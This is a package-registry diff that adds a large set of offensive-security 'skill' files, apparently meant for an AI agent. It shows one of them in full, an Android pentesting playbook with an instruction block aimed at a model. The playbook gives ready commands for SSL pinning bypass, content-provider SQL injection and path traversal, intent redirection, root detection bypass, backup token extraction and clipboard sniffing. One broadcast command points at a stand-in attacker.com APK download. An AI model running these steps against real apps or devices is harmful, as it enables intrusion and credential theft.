ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,369 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: android-pentesting-tricks
|
|
3
|
+
description: >-
|
|
4
|
+
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Android Pentesting Tricks — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
|
|
16
|
+
- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
|
|
17
|
+
- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
|
|
18
|
+
|
|
19
|
+
### Advanced Reference
|
|
20
|
+
|
|
21
|
+
Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
|
|
22
|
+
- Ready-to-use Frida script templates for common Android testing tasks
|
|
23
|
+
- Detailed hook points for OkHttp, Retrofit, Volley, WebView
|
|
24
|
+
- Root detection bypass script collection
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. SSL PINNING BYPASS
|
|
29
|
+
|
|
30
|
+
### 1.1 Frida Universal Bypass
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
# Install Frida server on device
|
|
34
|
+
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
|
|
35
|
+
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
|
|
36
|
+
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
|
|
37
|
+
|
|
38
|
+
# Universal SSL pinning bypass
|
|
39
|
+
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
| Hook Point | Library/Class | Coverage |
|
|
43
|
+
|---|---|---|
|
|
44
|
+
| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |
|
|
45
|
+
| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp |
|
|
46
|
+
| `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning |
|
|
47
|
+
| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |
|
|
48
|
+
| `SSLContext.init` | Android SDK | Custom SSL contexts |
|
|
49
|
+
| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |
|
|
50
|
+
| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |
|
|
51
|
+
|
|
52
|
+
### 1.2 Objection (Quick Method)
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
objection -g com.target.app explore
|
|
56
|
+
# Inside Objection REPL:
|
|
57
|
+
android sslpinning disable
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### 1.3 Network Security Config (Debug Builds)
|
|
61
|
+
|
|
62
|
+
If you can modify the APK or it's a debug build:
|
|
63
|
+
|
|
64
|
+
```xml
|
|
65
|
+
<!-- res/xml/network_security_config.xml -->
|
|
66
|
+
<network-security-config>
|
|
67
|
+
<debug-overrides>
|
|
68
|
+
<trust-anchors>
|
|
69
|
+
<certificates src="user" /> <!-- Trust user-installed CAs -->
|
|
70
|
+
</trust-anchors>
|
|
71
|
+
</debug-overrides>
|
|
72
|
+
</network-security-config>
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### 1.4 Magisk Module Approach
|
|
76
|
+
|
|
77
|
+
| Module | Method | Scope |
|
|
78
|
+
|---|---|---|
|
|
79
|
+
| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
|
|
80
|
+
| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
|
|
81
|
+
| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
|
|
82
|
+
| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## 2. COMPONENT EXPOSURE
|
|
87
|
+
|
|
88
|
+
### 2.1 Exported Activities
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# Find exported activities (AndroidManifest.xml or aapt)
|
|
92
|
+
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
|
|
93
|
+
|
|
94
|
+
# Launch exported activity directly
|
|
95
|
+
adb shell am start -n com.target.app/.AdminActivity
|
|
96
|
+
adb shell am start -n com.target.app/.DeepLinkActivity \
|
|
97
|
+
-d "target://callback?token=attacker_token"
|
|
98
|
+
|
|
99
|
+
# With extra data
|
|
100
|
+
adb shell am start -n com.target.app/.TransferActivity \
|
|
101
|
+
--es "amount" "99999" --es "recipient" "attacker"
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
### 2.2 Content Providers
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Query exposed content providers
|
|
108
|
+
adb shell content query --uri content://com.target.app.provider/users
|
|
109
|
+
|
|
110
|
+
# SQL injection in content provider
|
|
111
|
+
adb shell content query --uri "content://com.target.app.provider/users" \
|
|
112
|
+
--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
|
|
113
|
+
|
|
114
|
+
# Path traversal in file-providing content provider
|
|
115
|
+
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
| Provider Type | Attack Vector | Impact |
|
|
119
|
+
|---|---|---|
|
|
120
|
+
| Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass |
|
|
121
|
+
| File-backed | Path traversal via URI | Read arbitrary files |
|
|
122
|
+
| Parcelable | Type confusion in custom Parcelable | Code execution |
|
|
123
|
+
|
|
124
|
+
### 2.3 Broadcast Receivers
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Send crafted broadcast
|
|
128
|
+
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
|
|
129
|
+
--es "url" "http://attacker.com/malicious.apk"
|
|
130
|
+
|
|
131
|
+
# Ordered broadcast interception (higher priority receiver intercepts first)
|
|
132
|
+
# Register receiver with higher priority than target to intercept/modify data
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### 2.4 Exported Services
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
# Start/bind to exported service
|
|
139
|
+
adb shell am startservice -n com.target.app/.BackgroundService \
|
|
140
|
+
--es "command" "exfiltrate"
|
|
141
|
+
|
|
142
|
+
# List running services
|
|
143
|
+
adb shell dumpsys activity services | grep com.target
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## 3. WEBVIEW VULNERABILITIES
|
|
149
|
+
|
|
150
|
+
### 3.1 JavaScript Interface RCE (Pre-API 17)
|
|
151
|
+
|
|
152
|
+
```java
|
|
153
|
+
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
|
|
154
|
+
webView.addJavascriptInterface(new JSInterface(), "android");
|
|
155
|
+
|
|
156
|
+
// Pre-API 17: Reflection-based RCE via injected JavaScript
|
|
157
|
+
// Inject into WebView:
|
|
158
|
+
// android.getClass().forName('java.lang.Runtime')
|
|
159
|
+
// .getMethod('getRuntime').invoke(null).exec('id')
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
### 3.2 Modern WebView Attacks
|
|
163
|
+
|
|
164
|
+
| Vulnerability | Condition | Exploit |
|
|
165
|
+
|---|---|---|
|
|
166
|
+
| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
|
|
167
|
+
| `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` |
|
|
168
|
+
| `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker |
|
|
169
|
+
| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:// |
|
|
170
|
+
| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |
|
|
171
|
+
| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |
|
|
172
|
+
|
|
173
|
+
### 3.3 Deep Link to WebView Chain
|
|
174
|
+
|
|
175
|
+
```
|
|
176
|
+
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
|
|
177
|
+
2. App opens WebView with attacker URL
|
|
178
|
+
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
|
|
179
|
+
4. Bridge executes in app context with app's permissions
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## 4. INTENT REDIRECTION
|
|
185
|
+
|
|
186
|
+
Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.
|
|
187
|
+
|
|
188
|
+
```java
|
|
189
|
+
// Vulnerable pattern:
|
|
190
|
+
Intent received = getIntent();
|
|
191
|
+
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
|
|
192
|
+
startActivity(redirect);
|
|
193
|
+
// Attacker controls "next_intent" → can start any internal activity
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
# Exploit: start non-exported internal activity via redirection
|
|
198
|
+
adb shell am start -n com.target.app/.ExportedActivity \
|
|
199
|
+
--es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
| Pattern | Indicator | Risk |
|
|
203
|
+
|---|---|---|
|
|
204
|
+
| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |
|
|
205
|
+
| `getStringExtra("url")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |
|
|
206
|
+
| `getStringExtra("class")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## 5. ROOT DETECTION BYPASS
|
|
211
|
+
|
|
212
|
+
### 5.1 Common Root Detection Checks
|
|
213
|
+
|
|
214
|
+
| Check | What It Detects | Frida Bypass |
|
|
215
|
+
|---|---|---|
|
|
216
|
+
| `su` binary exists | `/system/xbin/su`, `/sbin/su` | Hook `File.exists()` → return false |
|
|
217
|
+
| Build tags contain "test-keys" | `Build.TAGS` | Hook `Build.TAGS` → return "release-keys" |
|
|
218
|
+
| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |
|
|
219
|
+
| Superuser.apk present | Su management app | Hook `File.exists()` |
|
|
220
|
+
| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
|
|
221
|
+
| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
|
|
222
|
+
| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |
|
|
223
|
+
|
|
224
|
+
### 5.2 Magisk DenyList (Previously MagiskHide)
|
|
225
|
+
|
|
226
|
+
```bash
|
|
227
|
+
# Enable DenyList in Magisk Manager
|
|
228
|
+
# Add target app to DenyList — Magisk hides itself from that app
|
|
229
|
+
# Covers: su binary, Magisk Manager package, mount points, props
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
---
|
|
233
|
+
|
|
234
|
+
## 6. PLAY INTEGRITY / SAFETYNET BYPASS
|
|
235
|
+
|
|
236
|
+
| Level | What It Checks | Bypass Difficulty |
|
|
237
|
+
|---|---|---|
|
|
238
|
+
| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |
|
|
239
|
+
| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |
|
|
240
|
+
| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |
|
|
241
|
+
|
|
242
|
+
Techniques:
|
|
243
|
+
- Magisk with Zygisk enabled + DenyList for target app
|
|
244
|
+
- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
|
|
245
|
+
- Shamiko module: hides root from specific apps
|
|
246
|
+
- Custom ROM with locked bootloader (Pixel-specific tricks)
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## 7. TAPJACKING (OVERLAY ATTACKS)
|
|
251
|
+
|
|
252
|
+
```xml
|
|
253
|
+
<!-- Malicious overlay activity -->
|
|
254
|
+
<activity android:name=".OverlayActivity"
|
|
255
|
+
android:theme="@style/TransparentTheme"
|
|
256
|
+
android:excludeFromRecents="true">
|
|
257
|
+
</activity>
|
|
258
|
+
|
|
259
|
+
<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
| Android Version | Protection | Bypass |
|
|
263
|
+
|---|---|---|
|
|
264
|
+
| Pre-6.0 | None | Full overlay |
|
|
265
|
+
| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |
|
|
266
|
+
| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## 8. BACKUP EXTRACTION
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
# Check if backup allowed
|
|
274
|
+
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
|
|
275
|
+
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)
|
|
276
|
+
|
|
277
|
+
# Extract backup
|
|
278
|
+
adb backup -f backup.ab -apk com.target.app
|
|
279
|
+
# Convert to tar
|
|
280
|
+
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
|
|
281
|
+
tar xf backup.tar
|
|
282
|
+
|
|
283
|
+
# Analyze extracted data
|
|
284
|
+
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
|
|
285
|
+
# Check shared_prefs/ for tokens, credentials
|
|
286
|
+
# Check databases/ for SQLite DBs with sensitive data
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
---
|
|
290
|
+
|
|
291
|
+
## 9. ADDITIONAL TRICKS
|
|
292
|
+
|
|
293
|
+
### 9.1 Debuggable App Exploitation
|
|
294
|
+
|
|
295
|
+
```bash
|
|
296
|
+
# If android:debuggable="true" in manifest
|
|
297
|
+
adb shell run-as com.target.app
|
|
298
|
+
# Now running as the app's user — full data directory access
|
|
299
|
+
cat /data/data/com.target.app/shared_prefs/*.xml
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
### 9.2 Drozer (Component Testing Framework)
|
|
303
|
+
|
|
304
|
+
```bash
|
|
305
|
+
# List attack surface
|
|
306
|
+
dz> run app.package.attacksurface com.target.app
|
|
307
|
+
# Exported Activities: 3
|
|
308
|
+
# Exported Services: 1
|
|
309
|
+
# Exported Providers: 2
|
|
310
|
+
|
|
311
|
+
# Query provider
|
|
312
|
+
dz> run app.provider.query content://com.target.app.provider/users
|
|
313
|
+
# Scan for injection
|
|
314
|
+
dz> run scanner.provider.injection -a com.target.app
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
### 9.3 Clipboard Sniffing
|
|
318
|
+
|
|
319
|
+
```java
|
|
320
|
+
// Pre-Android 10: any app can read clipboard
|
|
321
|
+
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
|
322
|
+
cm.addPrimaryClipChangedListener(() -> {
|
|
323
|
+
ClipData data = cm.getPrimaryClip();
|
|
324
|
+
// Exfiltrate copied passwords, tokens, etc.
|
|
325
|
+
});
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
---
|
|
329
|
+
|
|
330
|
+
